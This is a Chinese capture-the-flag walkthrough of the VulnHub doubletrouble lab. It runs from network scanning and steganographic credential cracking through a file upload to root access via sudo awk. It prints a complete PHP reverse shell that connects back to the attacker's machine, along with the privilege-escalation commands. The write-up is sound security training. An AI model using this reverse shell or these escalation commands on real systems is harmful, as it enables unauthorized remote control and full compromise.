免责声明:本文记录的是 doubletrouble: 1 渗透测试靶机 的解题过程,所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用,请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规,自觉维护网络空间安全。
环境:
https://download.vulnhub.com/doubletrouble/doubletrouble.ova
一、信息收集
1、探测目标IP地址
arp-scan -l #探测当前网段的所有ip地址
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.5.11
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.5.1 0a:00:27:00:00:04 (Unknown: locally administered)
192.168.5.2 08:00:27:44:5c:2d PCS Systemtechnik GmbH
192.168.5.17 08:00:27:ed:74:e1 PCS Systemtechnik GmbH
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.076 seconds (123.31 hosts/sec). 3 responded
nmap -sP 192.168.5.0/24
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.5.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 06:21 -0400
Nmap scan report for 192.168.5.1
Host is up (0.00016s latency).
MAC Address: 0A:00:27:00:00:04 (Unknown)
Nmap scan report for 192.168.5.2
Host is up (0.00017s latency).
MAC Address: 08:00:27:44:5C:2D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.17
Host is up (0.00017s latency).
MAC Address: 08:00:27:ED:74:E1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.11
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.03 seconds
目标IP:192.168.5.17
2、探测目标IP开放端口
nmap -sV -p- 192.168.5.17
┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.5.17
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 06:22 -0400
Nmap scan report for 192.168.5.17
Host is up (0.000064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:ED:74:E1 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds
端口:22、80
3、目录探测
dirsearch -u http://192.168.5.17
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.5.17
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /root/reports/http_192.168.5.17/_26-03-12_06-22-56.txt
Target: http://192.168.5.17/
[06:22:57] Starting:
[06:22:57] 301 - 309B - /js -> http://192.168.5.17/js/
[06:22:58] 403 - 277B - /.ht_wsr.txt
[06:22:58] 403 - 277B - /.htaccess.bak1
[06:22:58] 403 - 277B - /.htaccess.save
[06:22:58] 403 - 277B - /.htaccess.orig
[06:22:58] 403 - 277B - /.htaccess.sample
[06:22:58] 403 - 277B - /.htaccess_extra
[06:22:58] 403 - 277B - /.htaccess_sc
[06:22:58] 403 - 277B - /.htaccess_orig
[06:22:58] 403 - 277B - /.htaccessOLD2
[06:22:58] 403 - 277B - /.htaccessOLD
[06:22:58] 403 - 277B - /.htaccessBAK
[06:22:58] 403 - 277B - /.htm
[06:22:58] 403 - 277B - /.html
[06:22:58] 403 - 277B - /.htpasswd_test
[06:22:58] 403 - 277B - /.httr-oauth
[06:22:58] 403 - 277B - /.htpasswds
[06:22:58] 403 - 277B - /.php
[06:23:06] 301 - 314B - /backups -> http://192.168.5.17/backups/
[06:23:06] 200 - 406B - /backups/
[06:23:07] 200 - 0B - /check.php
[06:23:09] 301 - 311B - /core -> http://192.168.5.17/core/
[06:23:09] 301 - 310B - /css -> http://192.168.5.17/css/
[06:23:11] 200 - 894B - /favicon.ico
[06:23:14] 301 - 313B - /images -> http://192.168.5.17/images/
[06:23:14] 200 - 648B - /images/
[06:23:14] 200 - 2KB - /index.php
[06:23:14] 200 - 2KB - /index.php/login/
[06:23:14] 301 - 314B - /install -> http://192.168.5.17/install/
[06:23:14] 200 - 762B - /install/
[06:23:14] 200 - 762B - /install/index.php?upgrade/
[06:23:15] 200 - 606B - /js/
[06:23:24] 200 - 338B - /readme.txt
[06:23:24] 200 - 26B - /robots.txt
[06:23:25] 301 - 313B - /secret -> http://192.168.5.17/secret/
[06:23:25] 200 - 461B - /secret/
[06:23:25] 403 - 277B - /server-status
[06:23:25] 403 - 277B - /server-status/
[06:23:29] 200 - 501B - /template/
[06:23:29] 301 - 315B - /template -> http://192.168.5.17/template/
[06:23:30] 301 - 314B - /uploads -> http://192.168.5.17/uploads/
[06:23:31] 200 - 476B - /uploads/
Task Completed
dirb http://192.168.5.17
┌──(root㉿kali)-[~]
└─# dirb http://192.168.5.17
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Mar 12 06:23:17 2026
URL_BASE: http://192.168.5.17/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.5.17/ ----
==> DIRECTORY: http://192.168.5.17/backups/
==> DIRECTORY: http://192.168.5.17/batch/
==> DIRECTORY: http://192.168.5.17/core/
==> DIRECTORY: http://192.168.5.17/css/
+ http://192.168.5.17/favicon.ico (CODE:200|SIZE:894)
==> DIRECTORY: http://192.168.5.17/images/
+ http://192.168.5.17/index.php (CODE:200|SIZE:5810)
==> DIRECTORY: http://192.168.5.17/install/
==> DIRECTORY: http://192.168.5.17/js/
+ http://192.168.5.17/robots.txt (CODE:200|SIZE:26)
==> DIRECTORY: http://192.168.5.17/secret/
+ http://192.168.5.17/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://192.168.5.17/sf/
==> DIRECTORY: http://192.168.5.17/template/
==> DIRECTORY: http://192.168.5.17/uploads/
---- Entering directory: http://192.168.5.17/backups/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/batch/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/core/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/install/ ----
==> DIRECTORY: http://192.168.5.17/install/actions/
==> DIRECTORY: http://192.168.5.17/install/css/
==> DIRECTORY: http://192.168.5.17/install/images/
+ http://192.168.5.17/install/index.php (CODE:200|SIZE:1815)
==> DIRECTORY: http://192.168.5.17/install/lib/
==> DIRECTORY: http://192.168.5.17/install/modules/
---- Entering directory: http://192.168.5.17/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/secret/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/sf/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/template/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/install/actions/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/install/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/install/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/install/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.5.17/install/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Mar 12 06:23:20 2026
DOWNLOADED: 9224 - FOUND: 5
gobuster dir -u http://192.168.5.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.5.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.17
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 313] [--> http://192.168.5.17/images/]
/uploads (Status: 301) [Size: 314] [--> http://192.168.5.17/uploads/]
/index.php (Status: 200) [Size: 5810]
/css (Status: 301) [Size: 310] [--> http://192.168.5.17/css/]
/template (Status: 301) [Size: 315] [--> http://192.168.5.17/template/]
/core (Status: 301) [Size: 311] [--> http://192.168.5.17/core/]
/install (Status: 301) [Size: 314] [--> http://192.168.5.17/install/]
/js (Status: 301) [Size: 309] [--> http://192.168.5.17/js/]
/check.php (Status: 200) [Size: 0]
/sf (Status: 301) [Size: 309] [--> http://192.168.5.17/sf/]
/secret (Status: 301) [Size: 313] [--> http://192.168.5.17/secret/]
/backups (Status: 301) [Size: 314] [--> http://192.168.5.17/backups/]
/batch (Status: 301) [Size: 312] [--> http://192.168.5.17/batch/]
/server-status (Status: 403) [Size: 277]
Progress: 441116 / 441116 (100.00%)
===============================================================
Finished
===============================================================
二、漏洞利用
1、信息搜集
http://192.168.5.17/backups/

http://192.168.5.17/template/

http://192.168.5.17/secret/

发现一张照片,下载下来使用steghide分析一下
wget http://192.168.5.17/secret/doubletrouble.jpg
steghide extract -sf doubletrouble.jpg
┌──(root㉿kali)-[~]
└─# wget http://192.168.5.17/secret/doubletrouble.jpg
--2026-03-12 06:28:24-- http://192.168.5.17/secret/doubletrouble.jpg
正在连接 192.168.5.17:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:82779 (81K) [image/jpeg]
正在保存至: “doubletrouble.jpg”
doubletrouble.jpg 100%[=========================>] 80.84K --.-KB/s 用时 0s
2026-03-12 06:28:24 (289 MB/s) - 已保存 “doubletrouble.jpg” [82779/82779])
┌──(root㉿kali)-[~]
└─#
┌──(root㉿kali)-[~]
└─# steghide extract -sf doubletrouble.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
发现需要密码,使用stegseek工具进行爆破密码
stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
┌──(root㉿kali)-[~]
└─# stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".
成功爆破出密码92camaro ,再次使用steghide
┌──(root㉿kali)-[~]
└─# steghide extract -sf doubletrouble.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
┌──(root㉿kali)-[~]
└─# ls
creds.txt doubletrouble.jpg doubletrouble.jpg.out
┌──(root㉿kali)-[~]
└─# cat creds.txt
otisrush@localhost.com
otis666
得到:
otisrush@localhost.com
otis666
回到主页使用扫描出的信息登录 :http://192.168.5.17/

登录成功

2、文件上传-反弹shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.5.11';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

上传后访问:http://192.168.5.17/uploads/users/查看一下是否上传成功

上传成功
访问:http://192.168.5.17/uploads/users/322465-php-reverse-shell.php
┌──(root㉿kali)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.5.11] from (UNKNOWN) [192.168.5.17] 56284
Linux doubletrouble 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
05:38:07 up 17 min, 0 users, load average: 0.00, 0.05, 0.13
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
反弹成功
三、权限提升
1、切换至交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
$
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@doubletrouble:/$
2、查看当前账户是否存在可以使用的特权命令
www-data@doubletrouble:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on doubletrouble:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on doubletrouble:
(ALL : ALL) NOPASSWD: /usr/bin/awk
www-data@doubletrouble:/$
发现是以root权限运行的 awk
3、提权
sudo awk 'BEGIN {system("/bin/sh")}'
id
whoami
www-data@doubletrouble:/$ sudo awk 'BEGIN {system("/bin/sh")}'
sudo awk 'BEGIN {system("/bin/sh")}'
# id
id
uid=0(root) gid=0(root) groups=0(root)
#
# whoami
whoami
root
#
本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。